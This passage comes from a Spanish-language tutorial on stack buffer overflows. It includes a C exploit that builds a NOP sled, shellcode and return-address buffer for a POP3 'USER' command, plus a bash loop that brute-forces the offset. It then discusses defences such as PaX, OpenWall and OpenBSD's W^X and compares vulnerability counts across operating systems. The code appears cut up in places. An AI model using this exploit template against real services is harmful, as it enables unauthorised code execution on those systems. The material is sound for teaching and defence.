    int pid;
    int fd[2];
    int status;
    char *buffer;
    long esp, offset, ret;
    int i;
    char *ptr;
    long *addr_ptr;

    if (argc!=3) {
        fprintf(stderr, "Modo de Uso: %s <program> <offset>\n", argv[0]);
        exit(1);
    }

    // creamos 2 procesos, uno para ejecutar y leer de entrada estandat
    // y otro para escribir en el otro descriptor
    pipe(fd);
    pid = fork();
    if (!pid) {
        close(fd[1]);
        dup2(fd[0], 0);
        close(fd[0]);
        execl(argv[1], argv[1], NULL);
        exit(111);
    }
    close(fd[0]);

    {
        esp = sp();
        offset = atol(argv[2]);

    // sumamos el offset que pasamos como argumento
    // al puntero de pila
        ret = esp + offset;
        buffer = malloc(BUFFERSIZE);
        ptr = buffer;

        addr_ptr = (long *)ptr;
    }
}

```

```

        for (i=0; i<BUFFERSIZE; i+=4) {
            *(addr_ptr++) = ret;
        }

        /* Llenamos la primera mitad del buffer con NOPS */
        for(i=0; i<BUFFERSIZE/2; i++) {
            buffer[i] = '\x90';
        }

        /* insertamos el shellcode en la otra mitad */
        ptr = buffer + ((BUFFERSIZE/2) - (strlen(shellcode)/2));
        for(i=0; i<strlen(shellcode); i++) {
            *(ptr++) = shellcode[i];
        }
        buffer[0]='U';
        buffer[1]='S';
        buffer[2]='E';
        buffer[3]='R';
        buffer[4]=' ';

        /* llamamos al programa que tiene la vulnerabilidad */
        dprintf(fd[1], "%s\n", buffer);
    }

    while (1) {
        int i;
        char buf[1024];

        i = read(0, buf, 1024);
        if (i<=0) {
            break;
        }
        write(fd[1], buf, i);
    }
    wait(&status);
    if (WIFSIGNALED(status)) {
        printf("Child exited with signal %d\n", WTERMSIG(status));
    }
    return 0;
}

```

Tan sólo nos queda tantear el offset necesario para que la dirección de memoria de retorno de función coincida con la dirección del shellcode. Así que lo más cómodo es crear un pequeño script que realice este trabajo por nosotros.

```

#!/bin/bash
for i in `seq 50 4000`;
do
./overflow pop3 $i
done

```


recomendable saber elegir un software de cierta calidad e intentar estar a la última en cuanto a vulnerabilidades se refiere.

En ciertos sistemas como GNU/Linux se proporcionan parches (no incluidos de serie con el kernel) que aumentan la seguridad general del sistema. Grsecurity, ofrece un conjunto de parches para el kernel, ofreciendo la posibilidad de hacer las áreas de memoria stack y heap no ejecutables. (parche OpenWall para el stack y el parche PaX para el heap y stack). Así pues, como usuarios, se nos antoja importarte la elección de un buen sistema operativo si no queremos tener problemas referentes a la seguridad. La próxima sección hace un pequeño estudio sobre las vulnerabilidades basadas en buffer overflows a lo largo de los últimos años en los sistemas operativos más utilizados en la actualidad.

7. Estudio de viabilidad por sistemas operativos

A la vista del estudio realizado sobre este tipo de vulnerabilidad y el grado de peligrosidad del mismo, parece razonable que antes de usar e instalar algún tipo de software merece la pena estudiar la lista de fallos conocidos para ver qué tal se comporta frente a ataques basados en desbordamiento de buffer. El estudio podría abarcar desde servidores web, hasta herramientas de ofimática. Nuestro estudio se basará en los diferentes sistemas operativos más usados en la actualidad analizando así el grado de compromiso de los programadores frente a los usuarios finales.

Para realizar el estudio se ha consultado una de las páginas más completas de vulnerabilidades de Internet: *bugtraq*. El estudio se ha enfocado desde un punto de vista cuantitativo atendiendo a dos factores básicos:

1. Las vulnerabilidades en la instalación base. No tendremos en cuenta los fallos ocasionados en el resto de software proporcionado por terceras partes ya que es frecuente que una vulnerabilidad que afecta a una versión en concreto de algún software, lo hace a todos los sistemas a los que dicho programa esté portado.
2. No discriminaremos las vulnerabilidades locales y remotas.

Así pues los resultados obtenidos los representamos en la siguiente gráfica:

A la vista de los resultados parece que OpenBSD parece un sistema seguro frente a sus competidores. ¿Qué hacen que OpenBSD obtenga estos resultados? Parece que la política de auditoría de su código por parte de los desarrolladores es uno de sus puntos fuertes. Además el sistema incluye una serie de mejoras de cara a la seguridad:

- *WxorX*, se trata de una política de seguridad donde una página de memoria no puede tener permisos de escritura y ejecución a la misma vez.
- Reemplazo en su librería estándar de C de las funciones *strcpy*, *strcat*, *sprintf*, and *vsprintf*.
- uso de la herramienta *systrace* para proteger el sistema a la hora de construir paquetes proporcionado por terceras partes.

Figura 5: Estadísticas totales por sistemas operativos

- *Packet Filter*, el firewall de OpenBSD es uno de los más potentes y avanzados de los que existe en la actualidad.

Referencias

- [1] The Shellcodes Handbook
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley. Ed. Wiley
- [2] Desbordamiento de Pila en x86
Piotr Sobolewski. revista Hakin9
- [3] BufferOverflows Wikipedia
<http://wikipedia.org>
- [4] Introduction to Shellcoding
Michael Blomgem. <http://tigertean.se>
- [5] Creando Shellcodes para Linux x86
Daniel Fdez. Bleda. III Congreso HackMeeting (Madrid)
- [6] Rompiendo La Pila Para Diversion y Beneficio
Aleph One. Revista phrack.
- [7] Exploiting Format String vulnerabilities
<http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html>
- [8] Bugtraq exploits database. <http://www.securityfocus.com>